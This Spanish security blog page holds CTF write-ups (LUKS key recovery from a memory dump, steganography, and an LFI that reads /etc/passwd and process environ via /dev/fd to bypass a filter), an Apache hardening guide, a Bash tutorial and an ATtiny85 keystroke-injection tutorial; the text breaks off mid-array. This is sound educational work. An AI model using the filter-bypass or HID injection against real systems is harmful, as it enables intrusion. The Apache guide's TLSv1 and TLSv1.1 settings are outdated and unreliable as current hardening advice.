Este fin de semana ha sido el CTF organizado por la gente de HackIt Ucrania y os traigo unos pocos writeups de algunas pruebas que conseguí resolver. No empiezo por orden ya que esta prueba me la ha pedido bastante gente así que vamos allá, nos dan el siguiente enunciado:

Cypherpunk’s nightmare
foren150

Description: Our officers just have made cold boot attack on the suspect’s computer. Your role is to recover the content of this encrypted hard drive.

Attachment: (none)

Webpage: https://mega.nz/#!VdRAkaKT!xP7s74jwnlGmR2spg9RNaKFf5GmCGAv-pxW8aPZNkOw

Hint: (none)

Nos descargamos el archivo nightmare.zip de mega y al descomprimir nos encontramos con dos archivos:

El enunciado ya nos los decía así que no es ninguna sorpresa, tenemos una imagen de un disco cifrada en luks y un dump de la memoria del equipo del cual podremos extraer las claves de luks. Para ello vamos a probar la herramienta aeskeyfind (la web original no funciona el link así que toca utilizar un poco de google hasta conseguir los sources y compilarlo.

Le pasamos nuestro memdump y esperamos a ver que nos dice:

Como veis nos ha sacado dos posibles claves, espera … ¿dos? Aquí vino el mayor quebradero de cabeza ya que al intentar montar la imagen nos daba el siguiente error:

Y es que si os fijáis las claves que nos ha extraído aeskeyfind solamente tienen una longitud de 16, vamos a echarle un vistazo al dump con un lector hexadecimal y busquemos la primera key, al principio no vemos nada raro pero al llegar al último vemos lo siguiente:

Vemos que justo antes de la key que estábamos buscando aparece la segunda (la que he marcado en claro) y que el total de bytes esta delimitado de bytes a 0,  y que el total suman 32 bytes que era lo que buscábamos, ¿será está la key real? La metemos en un archivo con el siguiente comando:

echo "68 3C 5A 4B F8 F1 CE DF 5B 64 9C 48 2E 48 E6 39 9E 90 12 6C 33 C8 5D 9A 69 13 E6 49 30 1B 5D CF" | tr -d " " | xxd -r -p > Safe.key

Y ahora montamos utilizando el nuevo archivo de key:

sudo cryptsetup luksOpen --master-key-file Safe.key encrypted.dd safe-home

Ya sin errores, montamos la partición luks en una carpeta y vemos que hay dentro:

Y ahí tenemos nuestro archivo con la flag, lo abrimos y obtenemos la flag:

h4ck1t{Not_paranoid_enough}

En los próximos días según vaya teniendo tiempo os subiré le resto de writeups de las pruebas que conseguí.

Espero os haya gustado, saludos!

Publicado en forense, hackit, writeups | Deja un comentario

Hardening Apache

Casi dos meses sin publicar nada pero fijo que de menos no me echabais jeje y es que han sido unos tiempos muy ocupados y apenas he tenido tiempo que dedicarle al blog.

Antes de seguir dando el coñazo con la serie de Bash hoy os traigo un artículo que ha surgido a raíz de algo que me ha pasado en el trabajo y es el tema del hardening de Apache.

Hay muchos posts donde se habla de como habilitar mod_security, instalar fail2ban, etc, etc para proteger nuestro servidor pero en muchos casos se obvian ciertas configuraciones sencillas pero que aportan un gran valor a nivel de seguridad.

No he utilizado demasiado nginx pero por lo que he visto estas configuraciones deberían ser prácticamente idénticas pero, antes de tocar nada, os recomiendo que lo comprobéis en la correspondiente documentación.

Como supongo que todos utilizaréis https y redireccionaréis a todo el mundo que intente entrar por http (a fin de cuentas no queremos que a la gente que usa nuestro servidor puedan espiarlos) me voy a saltar esa parte e ir directamente al grano, como son varias opciones iré una a una explicando un poco lo que hacen, y como ya sabéis como soy no me voy a detener a explicar, por ejemplo, que es HSTS ya que está más que documentado.

Todas estas lineas de configuración debemos añadirlas al final de nuestro apache.conf al menos para aquellos que como yo utilicen la versión de Debian. Algunas opciones ya vienen así marcadas por defectos pero vamos a ponerlas de todas maneras para asegurarnos que si deciden cambiarlas no nos afecte.

Comencemos con algo tan básico como el fingerprinting del servidor web, por defecto Apache nos devolverá su nombre, versión y probablemente mucha más información que no le interesa a nadie, cambiemos este comportamiento:

ServerTokens Prod
ServerSignature Off

De esta manera en las cabeceras Apache simplemente dirá que es eso, Apache, sin dar ningún dato más.

Otra cosa que da demasiada información son los ETags, digamosle a Apache que si el documento proviene de un archivo no genere este campo:

FileETag None

Bien, con esto ya nos hemos asegurado de que nuestro servidor de cuanta menos información posible o al menos la hemos reducido considerablemente.

Otra cosa que no se suele hacer es deshabilitar el método TRACE, este método se puede utilizar en distintos vectores de ataque (si, otra vez google jeje) así que lo vamos a deshabilitar:

TraceEnable off

Otra cosa con la que tenemos que tener cuidado son los cifrados y protocolos de cifrado que nuestro servidor soporta, no todos son seguros ni mucho menos, así que vamos a decirle a nuestro servidor que solo acepte aquellos en los que confiamos:

SSLCipherSuite HIGH:!MEDIUM:!aNULL:!MD5:!RC4
SSLProtocol -ALL +TLSv1 +TLSv1.1 +TLSv1.2

Si os fijáis en la segunda linea lo que hace es rechazar todos los protocolos y luego solamente habilitar TLS y en la primera limitamos que cifrados puede utilizar el cliente para negociar la conexión.

Ahora vamos a añadir unos cuantos headers para eliminar una cantidad considerable de vectores de ataque que, aunque no os lo creáis, son tan sencillos de realizar pero que por defecto no son mitigados:

Header always append X-Frame-Options SAMEORIGIN
Header edit Set-Cookie ^(.*)$ $1;HttpOnly;Secure
Header always append X-XSS-Protection "1; mode=block"
Header always append X-Content-Type-Options nosniff
Header always set Strict-Transport-Security "max-age=63072000; includeSubdomains;"

Creo que estos headers son bastante auto explicativos así que no me detendré en ellos pero a grandes rasgos: evitamos que nuestra web pueda ser insertada en un iframe en otro servidor, ponemos todas las cookies como seguras y httponly; evitamos la ejecución de XSS si el navegador lo detecta (no todos lo soportan), evitamos que el navegador haga MIME-sniffing y, por último pero no menos importante, habilitamos HSTS.

Ahora guardamos y reiniciamos nuestro Apache para aplicar los cambios et voila, ya tenemos un servidor que da el mínimo de información a un atacante y a la vez protege el tráfico de los clientes.

Recordad que esto no es la panacea ni mucho menos, deberéis habilitar otros modulos como mod_security, configurar fail2ban, etc, etc Este artículo no pretende sustituir a los cientos de tutoriales que ya existen en internet sino servir como complemento a los mismos.

Espero os haya gustado esta breve entrada y a ver si consigo sacar más tiempo para seguir cacharreando y compartiendo más cosas divertidas, pero recordad, no todo es atacar ¡También hay que saber defenderse!

Como siempre, muchas gracias por vuestra visita, y cualquier duda o comentario, dejarmelo por aquí y os responderé en cuanto pueda.

Saludos!

Publicado en hardening, tutorial, web | 2 comentarios

Tutoriales sobre Bash Scripting III : Condicionales: if, elif, else, && y ||

En este capítulo hablaremos sobre los condicionales que tan importantes son a la hora de controlar el flujo de trabajo de nuestros scripts.

La sintaxis utilizando algo de pseudocódigo sería:

if condición
then
        echo "Me muestro si la condición es verdadera"
elif condición
then
        echo "Me muestro si la condición del primer if es falsa y la del elif es verdadera"
else
        echo "Me muestro si todas las condiciones anteriores son falsas"
fi

if condición; then echo "Me muestro si la condición es verdadera"; elif condición; then echo "Me muestro si la condición del primer if es falsa y la del elif es verdadera"; else; echo "Me muestro si todas las condiciones anteriores son falsas"; fi
condición && echo "Me muestro si la condición es verdadera"
condición || echo "Me muestro si la condición es falsa"
condición && echo "Me muestro si la condición es verdadera" || echo "Me muestro si la condición es falsa"

Como vemos la sintaxis es bastante sencilla y no muy distinta de la de otros lenguajes de programación o escripting.

Un detalle a tener en cuenta es que al then le ocurre lo mismo que al do de los loops, debe ir en la linea a continuación del if.

También se puede apreciar que el if se cierra con un fi al final de toda las instrucciones, no es necesario ponerlo antes de un else o un elif.

Veamos que es lo que substituiría a condición en el pseudocódigo anterior:

  • [ condición ]  : Este es el comando test tradicional de shell disponible en todas las shells POSIX. El comando test devuelve un exit code e if actúa en concordancia. Suele usarse para ver si un archivo/directorio existe o un número es igual a otro.
  • [[ condición ]] :Esta es una nueva variante soportada por bash, de nuevo el comando test devuelve un exit code con el cual if actúa. Entre sus opciones extendidas puede comparar si un string equivale a un expresión regular.
  • comando :Se ejecuta el comando e if actúa en función de su exit code.
  • ( comando ) :Este se ejecuta en una subshell. El comando devuelve un exit code e if actúa en base a él.  Usualmente se utiliza para limitar los efectos secundarios del comando en caso de que requiera asignación de variable u otros cambios en el entorno de la shell.
  • (( comando )) :Otra nueva variante soportada por bash utilizada para realizar operaciones ariméticas. Como resultado de la operación se genera un exit code e if actúa en consecuencia. Devuelve un exit code de 0 (True) en caso de que el resultado de la operación no sea cero.

La principal cosa que podemos ver con respecto a otras shell como sh son los modos [[ ]] y (( )), estos métodos no pertenecen a POSIX y pueden no funcionar en otras shells.

Otra diferencia con respecto a otros lenguajes de programación o escripting es la posibilidad de utilizar los exit codes de comandos para nuestras condiciones sin utilizar un if tal cual, seguramente habréis visto esto varias veces:

apt-get update && apt-get upgrade

Ahí donde lo veis eso es otro condicional:

  • && : Comprueba que el exit code sea cero.
  • || :Comprueba que el exit code sea distinto de cero.

Esto se utiliza sobre todo para encandenar comando donde queremos asegurarnos que el siguiente se ejecuta solo si el anterior fue exitoso (exit code 0). En el ejemplo anterior esto significa que si apt-get update se ejecuta correctamente entonces ejecutaremos apt-get upgrade.

Esto lo podemos combinar con la lista anterior para conseguir resultados como estos:

[ -f file.txt ] && echo "El archivo existe" || echo "El archivo no existe"

En este caso utilizaremos un condicional para comprobar si el archivo file.txt existe y en cada caso se mostrará el mensaje correspondiente.

Existen gran número de expresiones condicionales en bash, a continuación os dejo un listado:

  • -a archivo : True si el archivo existe.
  • -b archivo : True si el archivo existe y es un archivo de bloques.
  • -c archivo : True si el archivo existe y es un archivo de caracteres especiales.
  • -d archivo : True si el archivo existe y es un directorio.
  • -f archivo : True si el archivo existe y es un archivo regular.
  • -e archivo : True si el archivo existe.
  • -g archivo : True si el archivo existe y el bit set-group-id está marcado.
  • -h archivo : True si el archivo existe y es un enlace simbólico.
  • -k archivo : True si el archivo existe y el bit “sticky” esta marcado.
  • -p archivo : True si es un pipe tipo FIFO.
  • -r archivo: True si el archivo existe y se puede leer.
  • -s archivo : True si el archivo existe y su tamaño es mayor de cero.
  • -t fd : True si el file descriptor fd esta abierto y referencia a una terminal.
  • -u archivo : True si el archivo existe y el bit set-user-id esta marcado.
  • -w archivo : True si el archivo existe y se puede escribir.
  • -x archivo : True si el archivo existe y es ejecutable.
  • -G archivo : True si el archivo existe y pertenece al id de grupo en uso.
  • -L archivo : True si el archivo existe y es un enlace simbólico.
  • -N archivo : True si el archivo existe y fue modificado desde la última vez que fue leído.
  • -O archivo : True si el archivo existe y pertenece al usuario en uso.
  • -S archivo : True si el archivo existe y es un socket.
  • archivo1 -ef archivo2 : True si archivo1 y archivo2 hacen referencia al mismo dispositivo e inode.
  • archivo1 -nt archivo2 : True si archivo1 es más nuevo que archivo2 o si archivo1 existe pero archivo2 no.
  • archivo1 -ot archivo2 : True si archivo1 es mas viejo que archivo2 o si archivo2 existe pero archivo1 no.
  • -o nombreopt : True si la opción de shell nombreopt esta activada.
  • -v variable : True si la variable de shell  existe.
  • -R variable : True si la variable existe y es una referencia por nombre.
  • -z string : True si la longitud de string es cero.
  • -n string: True si la longitud de string es distinta de cero.

Cortita ¿verdad? ¡Pero si aun nos faltan las opciones para los strings y aritmética!

Comencemos con los strings:

  • string1 == string2  y string1 = string2 : True si los strings son iguales. El = se debe usar con el comando test conforme a POSIX.
  • string1 != string2 : True si los strings no son iguales.
  • string1 < string2 : True si la longitud de string1 es menor a string2.
  • string1 > string2 : True si la longitud de string1 es mayor a string2.

Y por último los operadores aritméticos binarios, que siguen la sintaxis arg1 OP arg2, donde los args pueden ser enteros positivos o negativos y OP es uno de los siguientes:

  • -eq : Igual.
  • -ne : No igual.
  • -lt : Menor que.
  • -le : Menor o igual que.
  • -gt : Mayor que.
  • -ge : Mayor o igual que.

Puede parecer que son muchísimas opciones para acordarse de todas pero como con todo o acostumbraréis a utilizar las más comunes muy rápidamente.

Espero os haya gustado este nuevo post de la serie sobre bash scripting y cualquier duda o comentario no dudéis en dejar un comentario.

Como siempre, gracias por vuestra visita, saludos!

Publicado en bash, tutorial | 2 comentarios

Google CTF 2017 – Mindreader

Este fin de semana fue el Google CTF 2017 donde Shellwarp nos clasificamos en un modesto 296º puesto jajaja Y es que el CTF de google no es ninguna broma, al menos puedo decir que este año hemos resuelto una de las pruebas cuyo writeup os traigo hoy.

Este era el enunciado:

Can you read my mind?

Challenge running at https://mindreader.web.ctfcompetition.com/

Pues vaya, no nos dice mucho. Veamos la web:

Mmm, pues no ha mejorado mucho la cosa, veamos el source:

Pues vaya por dios, muchas pistas no nos han dado. Veamos, tenemos un form que nos pregunta que queremos leer, probemos a meter algo aleatorio:

Archivo no encontrado, ¿sera un LFI? Probamos el típico /etc/passwd:

¡Bien! ¿Pero donde demonios estará la flag? Después de probar todos los archivos que se nos ocurren vemos que es un Debian 8 pero no podemos ver ni los logs ni los archivos de configuración, el .bashrc de root no nos dice nada …. Probamos a abrir /proc/version para ver que nos dice y:

Por fin algo distinto, parece que proc no nos permite leerlo ¿nos hará falta para encontrar la flag?

Entonces un compañero me comenta que las pruebas de web que ha mirado estaban hechas en python, así que empezamos a probar y nos encontramos con el archivo main.py:

Aquí había cambiado a curl para poder ver los archivos bien ya que en chrome los saltos de linea no aparecían.

El código nos dice que la flag está oculta en una variable de entorno llamada FLAG y que hay un filtro para que no podamos acceder a determinados sitios, entre ellos proc, el cual nos ayudaría a leer las variables de entorno.

Pero ¿hay otra manera de llegar a proc? En /dev existe un symlink a /proc/self/fd vamos a probar bajando un nivel y pidiendo environ que nos daría las variables de entorno:

¡Et voila! Ahí vemos las variables de entorno y con ella la flag:

CTF{ee02d9243ed6dfcf83b8d520af8502e1}

Decir que aquí pueda parecer que lo sacamos super fácil pero fueron horas de prueba y error, intentar otras pruebas, etc.

Espero os haya gustado y como siempre, gracias por vuestra visita.

Saludos!

Publicado en google ctf 2017, python, web, writeups | Deja un comentario

Follow the white rabbit CTF – Elliot “knows” everything

Nuevamente os traigo un writeup de una prueba que han hecho los conejos, en este caso viene de la mano de @belane.

Nos vamos a http://challenge.followthewhiterabbit.es:2345/ y nos encontramos con esto:

 Vale, tenemos 6 imagenes, ¿estego quizás? Veamos el source:

Vale, parece que hay otra imagen comentada. Vamos a descargarlas todas a ver si hay algo interesante:

for i in $(curl -s http://challenge.followthewhiterabbit.es:2345/ | egrep -o "<img src=[^>]*>" | sed 's/<img src=\"\([^"]*\).*/\1/g'); do wget http://challenge.followthewhiterabbit.es:2345/$i; done

Como todas están en png vamos a ver primero si hay algo raro en alguna de ellas, para ello utilizaremos pngcheck, una utilidad que comprueba que los png no tengan errores:

pngcheck *.png

Nos encontramos con esto:

Parece que solo una ha fallado, veamos que nos dice binwalk:

binwalk mr_2617.png

Interesante, tenemos un archivo zip, vamos a extraerlo utilizando dd (podríamos sacarlo con binwalk pasándole -e pero vamos a aprender un poco):

dd if=mr_2617.png of=output.zip bs=1 skip=1818192

Le decimos a dd que utilice como medida un byte y que se salte los 1818192 primeros bytes para que empiece a leer desde donde binwalk nos dice que empieza el zip. En caso de que hubiera mas información después del zip podríamos utilizar la opción count para extraer un número de bytes determinado (la diferencia entre el byte donde termina el zip y el byte donde comienza).

Intentamos descomprimir el archivo:

unzip output.zip

o 

7z x output.zip

Yo suelo preferir la opción de 7z ya que reconoce el tipo de compresión y te sirve para descomprimir diversos tipos de fichero con una sola herramienta.

El archivo tiene contraseña, mmm, ¿donde estará?. Vamos a empezar con exiftool y la imagen que contenía el zip a ver que nos dice:

Espera, ¿es eso binario? Vamos a probar a decodificarlo en http://www.asciitohex.com/:

Pues tiene toda la pinta, utilizamos “P4ssw0Rd_F1le.HL” como password y obtenemos el archivo que antes estaba comprimido, lo leemos y obtenemos la flag:

fwhibbit{rabbit-flag-1201dc1f15046f6e62f3eb338c92a}

Como nota final decir que esta solución no era la esperada y fue debido a un pequeño olvido ya que la password no debería de aparecer en plano sino que tendríamos que leerla de la imágen directamente.

Aquí podéis leer el writeup de David donde la resuelve de la forma en que la prueba estaba realmente diseñada.

Espero os haya gustado, como siempre, gracias por vuestra visita, saludos!

Publicado en ctf, estego, fwhibbit-ctf, web, writeups | Deja un comentario

ATtiny85 el famoso Cheap Rubber Ducky

Ayer me pedían que hiciera una lista de hardware para hacking por menos de 50 euros, y como le conteste, mirate mis últimos posts jeje Y es que cuando no podemos permitirnos dejarnos 200 euros en una Piña o 50 en un Rubber Ducky tenemos que buscarnos la vida y, para facilitaros vuestra búsqueda, he ido creando esta serie de post sobre hardware más o menos económico.

No hace mucho publiqué un post sobre como convertir un Arduino UNO en un Rubber Ducky, esto nos daba la posibilidad de darle una nueva vida a ese UNO que teníamos en un cajón pero muchos me comentaron que el tamaño no era precisamente ideal, y es cierto; la idea del UNO es para realizar pequeños tests y POCS para familiarizarnos con como funciona este dispositivo pero ¿y si os dijera que podéis tener un dispositivo del tamaño de un pendrive mediano que hace lo mismo? Este es el ATtiny85, conocido precisamente como el Cheap Rubber Ducky o Rubber Ducky barato, y es que el cacharrete en cuestión cuesta la friolera de ¡1.5 euros! O incluso más barato dependiendo de donde y cuantos compres.

El ATtiny85 es un microcontrolador de 8 bits basado en AVR-RISC que nos ofrece 8kb ISP de memoria flash, 512b EEPROM, 512b SRAM, 6 puertos I/O, 32 registros de trabajo, USI, interrupciones internas y externas, conversor de 10 bits y 4 canales, …. Vale, ya estamos todos en modo ameba y en la misma onda jeje Y es que, si como yo, no sabéis que significan la mitad de esas cosas seguramente no estáis buscando utilizarlo para algún proyecto complejo donde tenéis que escoger el microcontrolador que mejor se os adecue a vuestras necesidades. A nosotros lo que realmente nos interesa es que podemos hacer que este pequeñajo actúe como un teclado y realizar ataques del estilo Rubber Ducky, aquí os dejo una pequeña foto del mismo al lado de la Pi Zero para que podáis comparar tamaños:

Como podéis apreciar en mi caso el ATtiny85 viene con un puerto mini-USB hembra, también lo hay disponible con el conector en macho pero en mi caso la idea era ocultarlo como un dispositivo del estilo de una batería externa en lugar de hacerlo pasar por un pen drive por ejemplo.

Pero vamos al lío, y sin que sirva de precedente, esta vez he utilizado Windows para montar este proyecto, todos tenemos días malos. De todas maneras os dejaré las instrucciones para Linux aunque no las he testeado al 100%.

Lo primero, el software, como único requisito necesitaremos tener instalada la última versión del Arduino IDE, ojo los que usáis repositorios, en muchas distros utilizan una versión bastante vieja. De la misma manera que hicimos con el UNO debemos añadirle soporta a esta placa al IDE para ello iremos a Archivo -> Preferencias -> Gestor de URLs Adicionales de Tarjetas y añadiremos en una nueva linea lo siguiente:

http://digistump.com/package_digistump_index.json

Aceptamos, aceptamos y ahora nos vamos a Herramientas -> Placa -> Gestor de Tarjetas aquí filtraremos por el tipo contribución e instalamos Digistump AVR Boards. ¡Listo! Ya tenemos lo necesario instalado, a la hora de flashear nuestro ATtiny85 deberemos seleccionar la placa Digisparck (Default – 16.5 mhz) y, por raro que parezca, ningún puerto.

Esta vez la cosa no fue tan sencilla sin embargo a la hora de flashear por primera vez. Tanto en Windows como en Linux el ATtiny se conectaba y desconectaba el solo de forma continuada, llegue a pensar que venía mal. Y es que resulta que hay ciertas diferencias a la hora de flashear con respecto a un Arduino, la primera es que no necesitamos tener el ATtiny85 enchufado desde el principio, cuando hagamos click en Upload en la consola podremos ver que nos pide que enchufemos el mismo y una vez lo reconozca se encargara de flashearlo. ¿Comodo verdad? Si, siempre que te funcione a la primera. En mi caso tuve que descargar e instalar los siguientes drivers para windows (aquí), simplemente ejecutais el archivo install.exe y listo. En el caso de Linux es un pelín más complicado ya que, no solo necesitaréis la versión actual y legacy de libusb sino que en algunos casos tendréis que añadir unas reglas nuevas a udev, aquí tenéis la documentación con las instrucciones, por desgracia solamente en Inglés, cuando lo pueda probar actualizaré el post con los pasos que seguí.

Para hacer una primera prueba de que todo esto funciona vamos a probar el típico ejemplo de encender y apagar el led de la placa, para ello cargaremos el siguiente código de ejemplo (lo tenéis disponible también en el IDE en los ejemplos de DigiSpark):

// the setup routine runs once when you press reset:
void setup() {                
  // initialize the digital pin as an output.
  pinMode(0, OUTPUT); //LED on Model B
  pinMode(1, OUTPUT); //LED on Model A   
}

// the loop routine runs over and over again forever:
void loop() {
  digitalWrite(0, HIGH);   // turn the LED on (HIGH is the voltage level)
  digitalWrite(1, HIGH);
  delay(1000);               // wait for a second
  digitalWrite(0, LOW);    // turn the LED off by making the voltage LOW
  digitalWrite(1, LOW); 
  delay(1000);               // wait for a second
}

Copiamos el código en el IDE le damos a Upload (ctrl+u), enchufamos el ATtiny85 cuando nos lo pida y esperamos. En cuanto arranque de nuevo deberíamos ver un led fijo y el otro parpadeando cada segundo, si es así tenemos todo correcto, sino tendremos que hacer más troubleshooting y ver que ha pasado.

Ahora que ya tenemos todo preparado vamos a adaptar el ejemplo de hello world que utilizamos en el post del Arduino UNO y veamos que ocurre, utilizaremos el siguiente código:

#include "DigiKeyboard.h"

void setup() {
  DigiKeyboard.update();
}

void loop() {
  delay(1000);
  DigiKeyboard.update();
  delay(100);
  
  // meta+r, delete content, start powershell
  DigiKeyboard.sendKeyStroke(KEY_R, MOD_GUI_LEFT); // meta+r
  delay(50);
  DigiKeyboard.println("notepad");
  delay(200);
  DigiKeyboard.println("hello world");
  
  delay(900000);
}

Una vez cargado el ATtiny85 abrirá el notepad y escribirá el mensaje “hello world”.

En este caso seguimos teniendo el mismo problema que con el UNO, el layout del teclado es el de US lo cual puede causarnos problemas a la hora de escribir caracteres especiales.

Rebuscando por ahí me he encontrado con este repo el cual nos permite convertir un script de RubberDucky directamente a un archivo ino que podremos abrir en el IDE.

Para que funcione deberemos descargarnos a la misma carpeta el archivo encoder.js ya que no viene incluido. Para poder hacer un test editamos el script de bash example.sh y al final de la linea donde llama a encoder.js reemplazamos de (layaout alemán) por es (layout español), ejecutamos dicho script y veremos que nos muestra algunos errores ya que no todos los caracteres están soportados. Así mismo duck2spark tiene ciertas limitaciones y no soporta absolutamente todos los comandos de Rubber Ducky pero nos ayudará mucho.

Si os animáis a probarlo el ejemplo que viene incluido imprimirá por pantalla una seria de símbolos, números y letras, esto también nos ayudará a ver cuales son los que realmente están soportados para luego tenerlo en cuenta al crear nuestros propios payloads.

El código ya en formato ino del ejemplo es el siguiente:

/*
* Sketch generated by duck2spark from Marcus Mengs aka MaMe82
*
*/
#include "DigiKeyboard.h"

#define DUCK_LEN 2010
const PROGMEM uint8_t duckraw [DUCK_LEN] = {
	0x2c, 0x0, 0x1e, 0x2, 0x1f, 0x2, 0x34, 0x40, 0x21, 0x2, 0x22, 0x2, 0x23, 0x2, 0x35, 0x0, 0x2d, 0x0, 0x25, 0x2, 0x26, 0x2, 0x30, 0x2, 0x30, 0x0, 0x36, 0x0, 0x38, 0x0, 0x37, 0x0, 0x24, 0x2, 0x27, 0x0, 0x1e, 0x0, 0x1f, 0x0, 0x20, 0x0, 0x21, 0x0, 0x22, 0x0, 0x23, 0x0, 0x24, 0x0, 0x25, 0x0, 0x26, 0x0, 0x37, 0x2, 0x36, 0x2, 0x64, 0x0, 0x27, 0x2, 0x64, 0x2, 0x2d, 0x2, 0x33, 0x40, 0x4, 0x2, 0x5, 0x2, 0x6, 0x2, 0x7, 0x2, 0x8, 0x2, 0x9, 0x2, 0xa, 0x2, 0xb, 0x2, 0xc, 0x2, 0xd, 0x2, 0xe, 0x2, 0xf, 0x2, 0x10, 0x2, 0x11, 0x2, 0x12, 0x2, 0x13, 0x2, 0x14, 0x2, 0x15, 0x2, 0x16, 0x2, 0x17, 0x2, 0x18, 0x2, 0x19, 0x2, 0x1a, 0x2, 0x1b, 0x2, 0x1c, 0x2, 0x1d, 0x2, 0x2f, 0x40, 0x35, 0x0, 0x30, 0x40, 0x2e, 0x2, 0x2c, 0x0, 0x38, 0x2, 0x0, 0x0, 0x2c, 0x0, 0x4, 0x0, 0x5, 0x0, 0x6, 0x0, 0x7, 0x0, 0x8, 0x0, 0x9, 0x0, 0xa, 0x0, 0xb, 0x0, 0xc, 0x0, 0xd, 0x0, 0xe, 0x0, 0xf, 0x0, 0x10, 0x0, 0x11, 0x0, 0x12, 0x0, 0x13, 0x0, 0x14, 0x0, 0x15, 0x0, 0x16, 0x0, 0x17, 0x0, 0x18, 0x0, 0x19, 0x0, 0x1a, 0x0, 0x1b, 0x0, 0x1c, 0x0, 0x1d, 0x0, 0x2f, 0x40, 0x2, 0x0, 0x35, 0x2, 0x30, 0x40, 0x2, 0x0, 0x0, 0x0, 0x2c, 0x0, 0x1e, 0x2, 0x1f, 0x2, 0x34, 0x40, 0x21, 0x2, 0x22, 0x2, 0x23, 0x2, 0x35, 0x0, 0x2d, 0x0, 0x25, 0x2, 0x26, 0x2, 0x30, 0x2, 0x30, 0x0, 0x36, 0x0, 0x38, 0x0, 0x37, 0x0, 0x24, 0x2, 0x27, 0x0, 0x1e, 0x0, 0x1f, 0x0, 0x20, 0x0, 0x21, 0x0, 0x22, 0x0, 0x23, 0x0, 0x24, 0x0, 0x25, 0x0, 0x26, 0x0, 0x37, 0x2, 0x36, 0x2, 0x64, 0x0, 0x27, 0x2, 0x64, 0x2, 0x2d, 0x2, 0x33, 0x40, 0x4, 0x2, 0x5, 0x2, 0x6, 0x2, 0x7, 0x2, 0x8, 0x2, 0x9, 0x2, 0xa, 0x2, 0xb, 0x2, 0xc, 0x2, 0xd, 0x2, 0xe, 0x2, 0xf, 0x2, 0x10, 0x2, 0x11, 0x2, 0x12, 0x2, 0x13, 0x2, 0x14, 0x2, 0x15, 0x2, 0x16, 0x2, 0x17, 0x2, 0x18, 0x2, 0x19, 0x2, 0x1a, 0x2, 0x1b, 0x2, 0x1c, 0x2, 0x1d, 0x2, 0x2f, 0x40, 0x35, 0x0, 0x30, 0x40, 0x2e, 0x2, 0x2c, 0x0, 0x38, 0x2, 0x0, 0x0, 0x2c, 0x0, 0x4, 0x0, 0x5, 0x0, 0x6, 0x0, 0x7, 0x0, 0x8, 0x0, 0x9, 0x0, 0xa, 0x0, 0xb, 0x0, 0xc, 0x0, 0xd, 0x0, 0xe, 0x0, 0xf, 0x0, 0x10, 0x0, 0x11, 0x0, 0x12, 0x0, 0x13, 0x0, 0x14, 0x0, 0x15, 0x0, 0x16, 0x0, 0x17, 0x0, 0x18, 0x0, 0x19, 0x0, 0x1a, 0x0, 0x1b, 0x0, 0x1c, 0x0, 0x1d, 0x0, 0x2f, 0x40, 0x2, 0x0, 0x35, 0x2, 0x30, 0x40, 0x2, 0x0, 0x0, 0x0, 0x2c, 0x0, 0x1e, 0x2, 0x1f, 0x2, 0x34, 0x40, 0x21, 0x2, 0x22, 0x2, 0x23, 0x2, 0x35, 0x0, 0x2d, 0x0, 0x25, 0x2, 0x26, 0x2, 0x30, 0x2, 0x30, 0x0, 0x36, 0x0, 0x38, 0x0, 0x37, 0x0, 0x24, 0x2, 0x27, 0x0, 0x1e, 0x0, 0x1f, 0x0, 0x20, 0x0, 0x21, 0x0, 0x22, 0x0, 0x23, 0x0, 0x24, 0x0, 0x25, 0x0, 0x26, 0x0, 0x37, 0x2, 0x36, 0x2, 0x64, 0x0, 0x27, 0x2, 0x64, 0x2, 0x2d, 0x2, 0x33, 0x40, 0x4, 0x2, 0x5, 0x2, 0x6, 0x2, 0x7, 0x2, 0x8, 0x2, 0x9, 0x2, 0xa, 0x2, 0xb, 0x2, 0xc, 0x2, 0xd, 0x2, 0xe, 0x2, 0xf, 0x2, 0x10, 0x2, 0x11, 0x2, 0x12, 0x2, 0x13, 0x2, 0x14, 0x2, 0x15, 0x2, 0x16, 0x2, 0x17, 0x2, 0x18, 0x2, 0x19, 0x2, 0x1a, 0x2, 0x1b, 0x2, 0x1c, 0x2, 0x1d, 0x2, 0x2f, 0x40, 0x35, 0x0, 0x30, 0x40, 0x2e, 0x2, 0x2c, 0x0, 0x38, 0x2, 0x0, 0x0, 0x2c, 0x0, 0x4, 0x0, 0x5, 0x0, 0x6, 0x0, 0x7, 0x0, 0x8, 0x0, 0x9, 0x0, 0xa, 0x0, 0xb, 0x0, 0xc, 0x0, 0xd, 0x0, 0xe, 0x0, 0xf, 0x0, 0x10, 0x0, 0x11, 0x0, 0x12, 0x0, 0x13, 0x0, 0x14, 0x0, 0x15, 0x0, 0x16, 0x0, 0x17, 0x0, 0x18, 0x0, 0x19, 0x0, 0x1a, 0x0, 0x1b, 0x0, 0x1c, 0x0, 0x1d, 0x0, 0x2f, 0x40, 0x2, 0x0, 0x35, 0x2, 0x30, 0x40, 0x2, 0x0, 0x0, 0x0, 0x0, 0xff, 0x0, 0xf5, 0x28, 0x0, 0x4, 0x2, 0x4, 0x2, 0x4, 0x2, 0x4, 0x2, 0x4, 0x2, 0x4, 0x2, 0x4, 0x2, 0x4, 0x2, 0x4, 0x2, 0x4, 0x2, 0x4, 0x2, 0x4, 0x2, 0x4, 0x2, 0x4, 0x2, 0x4, 0x2, 0x4, 0x2, 0x4, 0x2, 0x4, 0x2, 0x4, 0x2, 0x4, 0x2, 0x4, 0x2, 0x4, 0x2, 0x4, 0x2, 0x4, 0x2, 0x4, 0x2, 0x4, 0x2, 0x4, 0x2, 0x4, 0x2, 0x4, 0x2, 0x4, 0x2, 0x4, 0x2, 0x4, 0x2, 0x4, 0x2, 0x4, 0x2, 0x4, 0x2, 0x4, 0x2, 0x4, 0x2, 0x4, 0x2, 0x4, 0x2, 0x4, 0x2, 0x4, 0x2, 0x4, 0x2, 0x4, 0x2, 0x4, 0x2, 0x4, 0x2, 0x4, 0x2, 0x4, 0x2, 0x4, 0x2, 0x4, 0x2, 0x4, 0x2, 0x4, 0x2, 0x4, 0x2, 0x4, 0x2, 0x4, 0x2, 0x4, 0x2, 0x4, 0x2, 0x4, 0x2, 0x4, 0x2, 0x4, 0x2, 0x4, 0x2, 0x4, 0x2, 0x4, 0x2, 0x4, 0x2, 0x4, 0x2, 0x4, 0x2, 0x4, 0x2, 0x4, 0x2, 0x4, 0x2, 0x4, 0x2, 0x4, 0x2, 0x4, 0x2, 0x4, 0x2, 0x4, 0x2, 0x4, 0x2, 0x4, 0x2, 0x4, 0x2, 0x4, 0x2, 0x4, 0x2, 0x4, 0x2, 0x4, 0x2, 0x4, 0x2, 0x4, 0x2, 0x4, 0x2, 0x4, 0x2, 0x4, 0x2, 0x4, 0x2, 0x4, 0x2, 0x4, 